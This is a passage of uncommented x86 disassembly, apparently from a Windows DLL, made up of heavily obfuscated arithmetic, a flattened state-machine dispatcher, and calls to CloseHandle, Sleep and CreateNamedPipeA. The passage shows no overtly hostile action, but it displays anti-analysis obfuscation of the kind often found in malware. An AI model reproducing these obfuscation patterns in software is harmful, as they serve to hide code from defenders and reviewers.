and ecx, 0xfbe8219f
mov edx, 0xffffffff
xor edx, 0xfbe8219f
and eax, edx
sub eax, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0xbcfbcbdd
add ecx, eax
xor eax, eax
sub eax, ecx
sub eax, 0x4aebb58e
mov ecx, 0xffffffff
xor ecx, 0x80be7aac
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
xor ecx, ecx
sub ecx, 0xbbe9b3c9
sub eax, ecx
or eax, eax
xor eax, 0xffffffff
mov ecx, 0x39bed123
or ecx, 0x39bed123
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
xor eax, 0xd68c07bd
mov ecx, 0xbad11c38
xor edx, edx
div ecx
imul eax, eax, 0xb5c9babe
mov ecx, 0x272d00d9
xor edx, edx
div ecx
mov ecx, 0x48c20441
xor edx, edx
div ecx
mov ecx, eax
mov esi, 0xffffffff
xor esi, 0xf6edb039
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0xf6edb039
or ecx, 0xf6edb039
imul ecx, edx
add ecx, eax
and ecx, 0xd7a8fb8c
mov eax, ecx
and eax, 0x44f83430
xor ecx, 0x44f83430
or eax, ecx
sub eax, 0xbc548770
mov esi, 0xffffffff
xor esi, 0x9715f8ce
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x9715f8ce
or eax, 0x9715f8ce
imul eax, edx
add eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x27d9a9c5
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
mov ecx, 0x26f4c3bf
xor edx, edx
div ecx
imul eax, eax, 0x29a446c7
mov ecx, eax
and ecx, 0xbd4b1cef
or eax, 0xbd4b1cef
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xdff58046
mov edx, 0xffffffff
xor edx, 0xdff58046
and ecx, edx
or eax, ecx
and eax, 0x364a470d
mov esi, 0xffffffff
xor esi, 0xf1f70d7d
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xf1f70d7d
or eax, 0xf1f70d7d
imul eax, edx
add eax, ecx
xor ecx, ecx
sub ecx, 0x895df746
sub eax, ecx
mov ecx, 0x36d8a69
xor edx, edx
div ecx
add eax, 0xc3143548
mov ecx, 0x21f51b8b
xor edx, edx
div ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0xdfd75c13
mov esi, 0xffffffff
xor esi, 0xdfd75c13
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xdfd75c13
or eax, 0xdfd75c13
imul eax, edx
add eax, ecx
mov ecx, 0x44a007f1
xor edx, edx
div ecx
sub eax, 0x7c1615e6
sub eax, 0x877624e7
add eax, 0x7c1615e6
or eax, 0x66c04153
mov ecx, 0xe0792d54
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0xa5f03d63
shl ecx, 1
xor eax, 0xa5f03d63
add eax, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0xa4fbc777
add ecx, eax
xor eax, eax
sub eax, ecx
mov esi, 0xffffffff
xor esi, 0x61dac9ab
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x61dac9ab
or eax, 0x61dac9ab
imul eax, edx
add eax, ecx
and eax, 0x1751eee
mov edx, 0xffffffff
xor edx, 0xb0010f36
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0xb0010f36
add eax, edx
sub eax, ecx
mov esi, 0xffffffff
xor esi, 0x5f5e96c3
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x5f5e96c3
or eax, 0x5f5e96c3
imul eax, edx
add eax, ecx
xor ecx, ecx
sub ecx, 0x479ab4ca
add eax, ecx
add eax, 0x3eaf3a13
imul eax, eax, 0x3127c817
add eax, 0xd79c0690
sub eax, 0x11040de2
sub eax, 0xd79c0690
mov ecx, eax
and ecx, 0xd190e70e
shl ecx, 1
xor eax, 0xd190e70e
add eax, ecx
mov ecx, 0xec4a3082
xor edx, edx
div ecx
mov esi, eax
add esi, 0xfd57a080
mov eax, esi
add eax, 1
xor esi, 0xffffffff
or esi, 0xec268ec4
add esi, eax
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0xa287f4be
mov edx, 0xffffffff
xor edx, 0xa287f4be
mov eax, esi
and eax, edx
imul eax, ecx
mov ecx, esi
and ecx, 0xa287f4be
or esi, 0xa287f4be
imul esi, ecx
add esi, eax
sub esi, 0x3f72024c
xor esi, 0xaca2e468
mov eax, esi
xor eax, 0xffffffff
and eax, 0xe0ff214
mov edx, 0xffffffff
xor edx, 0xe0ff214
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0x61e26c0b
and ecx, 0xe0ff214
and edx, 0x61e26c0b
or eax, esi
or ecx, edx
xor eax, ecx
mov ecx, eax
xor ecx, 0xd7830834
xor ecx, 0xffffffff
or eax, 0xd7830834
and eax, ecx
mov esi, 0xffffffff
xor esi, 0x96b483f
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x96b483f
or eax, 0x96b483f
imul eax, edx
add eax, ecx
xor eax, 0x162dbf56
xor eax, 0x875a456c
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xc6d715a8
mov edx, 0xffffffff
xor edx, 0xc6d715a8
and eax, edx
sub eax, ecx
and eax, 0xc72f6df5
mov ecx, 0xa7549060
xor edx, edx
div ecx
mov edx, eax
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
sub ecx, edx
xor edx, edx
sub edx, 0xf591c807
add ecx, edx
xor edi, edi
sub edi, ecx
mov edx, edi
xor edx, 0xffffffff
and edx, 0xb03f5a98
mov esi, 0xffffffff
xor esi, 0xb03f5a98
mov ecx, edi
and ecx, esi
imul ecx, edx
mov edx, edi
and edx, 0xb03f5a98
or edi, 0xb03f5a98
imul edi, edx
add edi, ecx
or edi, 0xa9be0309
mov esi, 0xffffffff
xor esi, 0xd008dcee
mov edx, edi
and edx, esi
mov ecx, edi
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, edi
and edx, 0xd008dcee
or edi, 0xd008dcee
imul edi, edx
add edi, ecx
mov esi, edi
xor esi, 0xffffffff
and esi, 0xa776f596
mov edx, 0xffffffff
xor edx, 0xa776f596
and edi, edx
mov ecx, 0xffffffff
xor ecx, 0xf86a23c
and ecx, 0xa776f596
and edx, 0xf86a23c
or esi, edi
or ecx, edx
xor esi, ecx
xor esi, 0x2692cd82
xor esi, 0x5bcd0788
add esi, 0xdea57533
mov ecx, 0xc4474824
mov edx, 0xa9ddb898
cmp esi, 0x86a9dde7
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1012bb05
mov eax, dword [0x101d3170]
imul eax, dword [0x101d3174]
and eax, 0x31e81b3e
mov edx, eax
xor edx, 0xffffffff
and edx, 0x27d7b145
mov esi, 0xffffffff
xor esi, 0x27d7b145
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x27d7b145
or eax, 0x27d7b145
imul eax, edx
add eax, ecx
xor ecx, ecx
sub ecx, 0x69f4e93e
add eax, ecx
or eax, 0x70b0a9a9
mov ecx, 0x2202eacb
xor edx, edx
div ecx
mov ecx, 0x55148a50
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0x15b5331e
shl ecx, 1
add eax, 0x15b5331e
sub eax, ecx
or eax, 0x621c59df
sub eax, 0x1f2dc610
sub eax, 0x83f71615
add eax, 0x1f2dc610
mov ecx, 0x499d95af
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0x4295af43
mov edx, 0xffffffff
xor edx, 0x4295af43
and eax, edx
shl eax, 1
sub eax, ecx
sub eax, 0x4155a481
add eax, 0x339a7709
add eax, 0x4155a481
mov ecx, 0x6d8ae461
xor edx, edx
div ecx
xor eax, 0xc0eedfb7
mov ecx, eax
and ecx, 0x60ee3d83
xor ecx, 0xffffffff
add eax, 0x60ee3d83
add eax, 1
add eax, ecx
mov esi, 0xffffffff
xor esi, 0xeafa3333
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xeafa3333
or eax, 0xeafa3333
imul eax, edx
add eax, ecx
mov ecx, eax
and ecx, 0x92a4a3ba
xor ecx, 0xffffffff
add eax, 0x92a4a3ba
add eax, 1
add eax, ecx
imul eax, eax, 0x347d5095
or eax, 0xe9823777
mov edx, eax
xor edx, 0xffffffff
and edx, 0x285fbce0
mov esi, 0xffffffff
xor esi, 0x285fbce0
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x285fbce0
or eax, 0x285fbce0
imul eax, edx
add eax, ecx
imul eax, eax, 0x646ff6e4
and eax, 0xe38128d2
mov ecx, 0x2d043642
xor edx, edx
div ecx
sub eax, 0x58ed148d
mov ecx, 0xacdb3d80
xor edx, edx
div ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x333abbb
add ecx, eax
xor eax, eax
sub eax, ecx
or eax, 0x1fb89c6c
mov edx, 0xffffffff
xor edx, 0xcab8fbe
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0xcab8fbe
add eax, edx
sub eax, ecx
sub eax, 0xd291d06e
and eax, 0x73e8dd3a
mov ecx, 0x1bfd196d
xor edx, edx
div ecx
mov ecx, eax
sub ecx, 0xae9be10c
and ecx, 0xc7ef044c
xor ecx, 0x6786709b
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0x2c6e6cda
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x6c], eax
mov esi, 0xffffffff
xor esi, 0x6c8fb17e
mov edx, 0xffffffff
xor edx, 0xcbc7e8a8
and eax, 0xcbc7e8a8
and ecx, edx
mov edi, esi
and edi, 0xcbc7e8a8
mov ebx, edx
and ebx, 0x6c8fb17e
or eax, ecx
mov ecx, dword [ebp - 0x6c]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0xcbc7e8a8
and ecx, edx
or eax, ecx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x939c659
add eax, ecx
imul eax, eax, 0x2ab8021f
sub eax, 0x8841816c
xor ecx, ecx
sub ecx, 0x3ce56b9a
sub eax, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x46216a5a
add ecx, eax
xor eax, eax
sub eax, ecx
sub eax, 0xf637b176
sub eax, 0x21c9ffd8
add eax, 0xf637b176
mov ecx, 0xead06f8c
xor edx, edx
div ecx
add eax, 0x7ce62e85
and eax, 0x5494cc01
mov ecx, eax
or ecx, ecx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x69a2d9bc
mov esi, 0xffffffff
xor esi, 0x69a2d9bc
and edx, esi
xor ecx, 0xffffffff
xor edx, 0xffffffff
and ecx, edx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x69a2d9bc
and eax, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0xca33bdb2
or edx, 0xca33bdb2
xor edx, 0xffffffff
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
or ecx, 0xca33bdb2
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
add eax, 0x1e2d192a
and eax, 0xe93ad1b9
imul eax, eax, 0xc0a826b2
or eax, 0x39ad1aed
and eax, 0x3100109e
xor eax, 0x4d2eb7f4
mov esi, 0xffffffff
xor esi, 0x41d0b347
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x41d0b347
or eax, 0x41d0b347
imul eax, edx
add eax, ecx
mov ecx, 0x2f180eef
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
and eax, 0x67538b9c
or ecx, 0x67538b9c
add eax, ecx
mov ecx, eax
and ecx, 0x967a2f07
xor ecx, 0xffffffff
add eax, 0x967a2f07
add eax, 1
add eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x308bb55b
mov edx, 0xffffffff
xor edx, 0x308bb55b
and eax, edx
sub eax, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0xf9c4a671
add ecx, eax
xor eax, eax
sub eax, ecx
add eax, 0xb6a33e22
sub eax, 0xd72930f6
add eax, 0xd9e7255e
sub eax, 0xe7d796e2
sub eax, 0xd9e7255e
sub eax, 0x83e46058
mov ecx, eax
xor ecx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x312a42ed
mov edx, 0xffffffff
xor edx, 0x196b3183
mov edi, ecx
and edi, 0x196b3183
and eax, edx
mov dword [ebp - 0x68], eax
mov ebx, esi
and ebx, 0x196b3183
mov eax, edx
and eax, 0x312a42ed
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x68]
or edi, eax
mov eax, dword [ebp - 0x64]
or ebx, eax
mov eax, dword [ebp - 0x44]
xor edi, ebx
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x196b3183
and ecx, edx
or edi, ecx
mov ecx, edi
xor ecx, 0xffffffff
and ecx, 0xf1d9389f
mov esi, 0xffffffff
xor esi, 0xf1d9389f
and edi, esi
mov edx, 0xffffffff
xor edx, 0x796a9bc
and edx, 0xf1d9389f
and esi, 0x796a9bc
or ecx, edi
or edx, esi
xor ecx, edx
add ecx, 0x3c173105
and ecx, 0x375fa078
xor ecx, 0xc8cc6b1f
imul esi, ecx, 0x2f6ff98c
add esi, 0x4feb001a
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [esp], 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
sub esp, 0x20
mov dword [esp], eax
mov dword [esp + 4], 3
mov dword [esp + 8], 0
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov ecx, dword [ebp - 0x50]
mov edx, eax
mov eax, dword [ebp - 0x1c]
mov dword [ecx], edx
mov ecx, dword [ecx]
mov edx, 0xffffffff
cmp ecx, edx
setne cl
mov byte [ebp - 0x5d], cl
mov ecx, 0xa9ddb898
mov edx, 0x1b672ee4
cmp esi, 0x5236e80c
cmova ecx, edx
mov dword [eax], ecx
jmp 0x1012bb05
mov eax, dword [ebp - 0x1c]
mov bl, byte [ebp - 0x5d]
mov ecx, 0x45196f61
mov edx, 0x9021bec1
test bl, 1
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1012bb05
mov esi, dword [0x101d3178]
imul esi, dword [0x101d317c]
or esi, 0x7493b80
xor esi, 0x8f61026b
and esi, 0x7bb09920
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0x2c70f612
mov edx, 0xffffffff
xor edx, 0x2c70f612
and esi, edx
mov eax, 0xffffffff
xor eax, 0xbd7923df
and eax, 0x2c70f612
and edx, 0xbd7923df
or ecx, esi
or eax, edx
xor ecx, eax
add ecx, 0xbc6fd6ca
and ecx, 0x7226b07e
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x70], eax
mov esi, 0xffffffff
xor esi, 0x86eb1fa7
mov edx, 0xffffffff
xor edx, 0xd129d63a
and eax, 0xd129d63a
and ecx, edx
mov edi, esi
and edi, 0xd129d63a
mov ebx, edx
and ebx, 0x86eb1fa7
or eax, ecx
mov ecx, dword [ebp - 0x70]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0xd129d63a
and ecx, edx
or eax, ecx
add eax, 0x27c3d95d
xor eax, 0x30f83ae1
imul eax, eax, 0xb1afc65f
xor eax, 0xed853c76
mov ecx, 0x95425d3
xor edx, edx
div ecx
add eax, 0x32a3bb3f
sub eax, 0x5e77a9c6
imul eax, eax, 0x9bb56691
mov ecx, 0x88001bb0
xor edx, edx
div ecx
add eax, 0xc6435e66
mov edx, 0xffffffff
xor edx, 0x10590128
mov ecx, eax
xor ecx, edx
and ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xc85073
mov edx, 0xffffffff
xor edx, 0xc85073
and ecx, edx
or eax, ecx
add eax, 0xff5e1299
mov edx, eax
xor edx, 0xffffffff
and edx, 0x55e1a026
mov esi, 0xffffffff
xor esi, 0x55e1a026
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x55e1a026
or eax, 0x55e1a026
imul eax, edx
add eax, ecx
mov ecx, 0xffffffff
xor ecx, 0xb7b0e8dc
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
and eax, 0x4852b622
xor eax, 0x2652e51c
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x407dcb2c
mov edx, 0xffffffff
xor edx, 0x407dcb2c
and eax, edx
sub eax, ecx
xor eax, 0xe089d8ce
add eax, 0x82cec9a
sub eax, 0x585badd7
sub eax, 0x82cec9a
sub eax, 0xf5a3cf74
sub eax, 0x52da09f0
add eax, 0xf5a3cf74
imul eax, eax, 0xa5f83274
or eax, 0xb42a17e5
and eax, 0xb9675b07
imul eax, eax, 0x13b2521a
mov ecx, eax
xor ecx, 0x8941b4e3
xor ecx, 0xffffffff
or eax, 0x8941b4e3
and eax, ecx
mov ecx, 0xeb6a410
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0x394e867f
xor ecx, 0xffffffff
and ecx, 0x394e867f
shl ecx, 1
sub ecx, 0x394e867f
sub eax, ecx
mov ecx, eax
xor ecx, 0x882f3285
xor ecx, 0xffffffff
or eax, 0x882f3285
and eax, ecx
sub eax, 0x5aeafd49
mov edx, eax
xor edx, 0xffffffff
and edx, 0xc4c6ff29
mov esi, 0xffffffff
xor esi, 0xc4c6ff29
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xc4c6ff29
or eax, 0xc4c6ff29
imul eax, edx
add eax, ecx
xor eax, 0xb7c8d0f0
and eax, 0xd2c98ed8
imul eax, eax, 0x5b6005a
mov edx, eax
xor edx, 0xffffffff
and edx, 0xdf987c86
mov esi, 0xffffffff
xor esi, 0xdf987c86
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xdf987c86
or eax, 0xdf987c86
imul eax, edx
add eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xb7a8dc24
mov edx, 0xffffffff
xor edx, 0xb7a8dc24
and eax, edx
sub eax, ecx
mov ecx, eax
xor ecx, 0x6ba947c2
xor ecx, 0xffffffff
and ecx, 0x6ba947c2
shl ecx, 1
sub ecx, 0x6ba947c2
sub eax, ecx
mov ecx, 0x5caed105
xor edx, edx
div ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0xc67850f0
add ecx, eax
xor eax, eax
sub eax, ecx
or eax, 0x44057705
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x7d97a443
add ecx, eax
xor eax, eax
sub eax, ecx
imul eax, eax, 0x824a05ae
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0xdd9f1cca
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, eax
xor ecx, 0x51311fc6
xor ecx, 0xffffffff
or eax, 0x51311fc6
and eax, ecx
mov ecx, 0x292dc286
xor edx, edx
div ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x59a3974f
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, eax
and ecx, 0xf7538d38
shl ecx, 1
xor eax, 0xf7538d38
add eax, ecx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0xd4fc218d
add eax, ecx
add eax, 0xcf749dc1
mov ecx, 0x7bebafd3
xor edx, edx
div ecx
mov ecx, 0x3fcb384f
xor edx, edx
div ecx
mov ecx, 0x98b0ee20
xor edx, edx
div ecx
or eax, 0xaa43234f
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x68796a5b
mov ecx, 0xffffffff
xor ecx, 0x4e20c268
or eax, edx
or ecx, 0x4e20c268
xor eax, 0xffffffff
and eax, ecx
xor eax, 0x23e78068
mov ecx, 0x61821219
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
or eax, 0xea51efde
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xea51efde
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
imul eax, eax, 0xa88ca6a6
and eax, 0xb4e9b94d
xor ecx, ecx
sub ecx, 0x526e3416
add eax, ecx
xor ecx, ecx
sub ecx, 0x54ab84bc
add eax, ecx
mov ecx, eax
xor ecx, 0x75a4d527
xor ecx, 0xffffffff
or eax, 0x75a4d527
and eax, ecx
mov ecx, 0xc09178e0
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
mov ecx, 0x3fa27335
mov edx, 0xecd28c25
cmp esi, 0xeeff4f5b
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1012bb05
mov eax, dword [0x101d3180]
xor edx, edx
div dword [0x101d3184]
mov ecx, 0x44b2c0c4
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xd4ebe123
and ecx, 0xe2058aac
sub ecx, 0xdb3837f8
and ecx, ecx
xor ecx, 0xffffffff
mov eax, 0x25828ed9
and eax, 0x25828ed9
xor eax, 0xffffffff
and ecx, eax
xor ecx, 0xffffffff
xor eax, eax
sub eax, 0xc6be5428
add ecx, eax
mov eax, ecx
or eax, 0x2ed8aaa9
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x2ed8aaa9
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
mov ecx, 0x490affe3
xor edx, edx
div ecx
and eax, 0xb346b13
mov ecx, 0xac9bb54a
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0xffffffff
xor edx, 0xd83d08ad
mov esi, 0xffffffff
xor esi, 0xd83d08ad
and edx, esi
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xd83d08ad
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
or eax, eax
xor eax, 0xffffffff
mov ecx, 0x12e56764
or ecx, 0x12e56764
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
add eax, 0xf9209f6d
imul eax, eax, 0x55528df2
mov edx, eax
xor edx, 0xffffffff
and edx, 0x8df3f069
mov esi, 0xffffffff
xor esi, 0x8df3f069
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x8df3f069
or eax, 0x8df3f069
imul eax, edx
add eax, ecx
imul eax, eax, 0xa42e792b
or eax, 0xa1c2a2c
mov esi, 0xffffffff
xor esi, 0x44aa2007
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x44aa2007
or eax, 0x44aa2007
imul eax, edx
add eax, ecx
imul eax, eax, 0xa56a1c22
and eax, 0xa3f42734
imul eax, eax, 0xb0877d65
add eax, 0x521482c4
mov ecx, 0xffffffff
xor ecx, 0x4aad511d
add eax, ecx
add eax, 1
and eax, 0xb5eaf131
mov ecx, 0xffffffff
xor ecx, 0x37011ce1
add eax, ecx
add eax, 1
or eax, 0xe537eaf3
sub eax, 0x61fc3f52
add eax, 0xcf256e90
add eax, 0x61fc3f52
sub eax, 0xf7d91a71
sub eax, 0x4ce25ff4
add eax, 0xf7d91a71
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x5421cae3
add eax, ecx
mov ecx, 0x633151e6
xor edx, edx
div ecx
add eax, 0xbea5c1d
imul eax, eax, 0x7010dfbb
sub eax, 0x7354bfc4
add eax, 0x1ca4a0a8
add eax, 0x7354bfc4
mov ecx, eax
and ecx, 0xe214b90b
xor ecx, 0xffffffff
add eax, 0xe214b90b
add eax, 1
add eax, ecx
imul eax, eax, 0x64df6589
imul eax, eax, 0xf1fb4d0a
or eax, 0x11846f1e
or eax, 0x511f169f
or eax, eax
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xe9a6eecd
mov edx, 0xffffffff
xor edx, 0xe9a6eecd
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
mov ecx, eax
and ecx, 0x9122f6ea
shl ecx, 1
add eax, 0x9122f6ea
sub eax, ecx
and eax, 0x5ba4b4f9
mov ecx, 0x351fd16c
xor edx, edx
div ecx
mov ecx, 0xd0ee32a3
xor edx, edx
div ecx
sub eax, 0x85e8040
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0xf1fdfc2d
add ecx, eax
xor eax, eax
sub eax, ecx
mov edx, eax
xor edx, 0xffffffff
mov dword [ebp - 0x74], edx
mov edi, 0xffffffff
xor edi, 0xa63dea58
mov esi, 0xffffffff
xor esi, 0x6a49820c
and edx, 0x6a49820c
and eax, esi
mov ebx, edi
and ebx, 0x6a49820c
mov ecx, esi
and ecx, 0xa63dea58
or edx, eax
mov eax, dword [ebp - 0x74]
or ebx, ecx
mov ecx, dword [ebp - 0x54]
xor edx, ebx
or eax, edi
xor eax, 0xffffffff
or esi, 0x6a49820c
and eax, esi
or edx, eax
mov edi, 0xffffffff
xor edi, 0x8d90ee8e
mov esi, edx
and esi, edi
mov eax, edx
or eax, edi
xor eax, 0xffffffff
imul eax, esi
mov esi, edx
and esi, 0x8d90ee8e
or edx, 0x8d90ee8e
imul edx, esi
add edx, eax
xor edx, 0xdb627bda
xor eax, eax
sub eax, 0x227fa95
add edx, eax
mov eax, edx
xor eax, 0xffffffff
and eax, 0xa98413d5
mov esi, 0xffffffff
xor esi, 0xa98413d5
and edx, esi
or eax, edx
imul edx, eax, 0x7df7a927
xor edx, 0x78807ab4
mov eax, edx
or eax, eax
xor eax, 0xffffffff
mov esi, 0x6ee9e1b4
or esi, 0x6ee9e1b4
xor esi, 0xffffffff
or eax, esi
xor eax, 0xffffffff
xor edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x6ee9e1b4
and edx, esi
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
add eax, 0x8369ffbc
sub eax, 0x257de969
sub eax, 0x8369ffbc
xor eax, 0x5a69dbc8
mov esi, 0x944e228b
xor edx, edx
div esi
mov edx, 0xffffffff
xor edx, 0x4d5029ca
xor esi, esi
sub esi, 1
sub edx, esi
sub eax, edx
mov esi, 0xf238975b
xor edx, edx
div esi
mov esi, 0xfee571a2
xor edx, edx
div esi
mov edx, 0xffffffff
xor edx, 0xc4926526
add eax, edx
add eax, 1
mov esi, 0xffffffff
xor esi, 0x79f37bc0
mov edx, eax
and edx, esi
mov esi, eax
xor esi, 0x79f37bc0
add eax, esi
sub eax, edx
mov esi, 0xf3764e3c
xor edx, edx
div esi
mov edx, eax
mov eax, edx
or eax, eax
xor eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x1239d270
mov edi, 0xffffffff
xor edi, 0x1239d270
and esi, edi
xor eax, 0xffffffff
xor esi, 0xffffffff
and eax, esi
or edx, 0x1239d270
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x36122d94
mov esi, eax
and esi, edi
mov edx, eax
or edx, edi
xor edx, 0xffffffff
imul edx, esi
mov esi, eax
and esi, 0x36122d94
or eax, 0x36122d94
imul eax, esi
add eax, edx
mov esi, 0x342b6cb6
xor edx, edx
div esi
mov esi, eax
mov eax, dword [ebp - 0x1c]
and esi, 0x3f53f8d2
mov edx, esi
or edx, 0xc5187c6f
xor edx, 0xffffffff
xor esi, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xc5187c6f
and esi, edi
xor edx, 0xffffffff
xor esi, 0xffffffff
and edx, esi
mov esi, edx
xor esi, 0xffffffff
mov edi, edx
xor edi, 0xffffffff
or esi, edi
xor esi, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x9bda30ec
or esi, edi
mov edi, 0x9bda30ec
and edi, 0x9bda30ec
xor edi, 0xffffffff
xor edx, 0xffffffff
xor edi, 0xffffffff
or edx, edi
and esi, edx
xor esi, 0xffffffff
xor esi, 0x4f0866ee
sub esi, 0xe42f73d3
mov dword [ecx], 1
mov ecx, 0xc12b6164
mov edx, 0xecd28c25
cmp esi, 0x96aee79e
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x1012bb05
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x463396b
jmp 0x1012bb05
mov ecx, dword [0x101d3188]
imul ecx, dword [0x101d318c]
mov eax, ecx
and eax, 0x56827ce2
xor eax, 0xffffffff
add ecx, 0x56827ce2
add ecx, 1
add ecx, eax
mov eax, ecx
add eax, 1
xor ecx, 0xffffffff
or ecx, 0x40e32d38
add ecx, eax
sub ecx, 0x3ff0d1
add ecx, 0x67437397
add ecx, 0x3ff0d1
sub ecx, 0x31a43adb
sub ecx, 0xc628b0e0
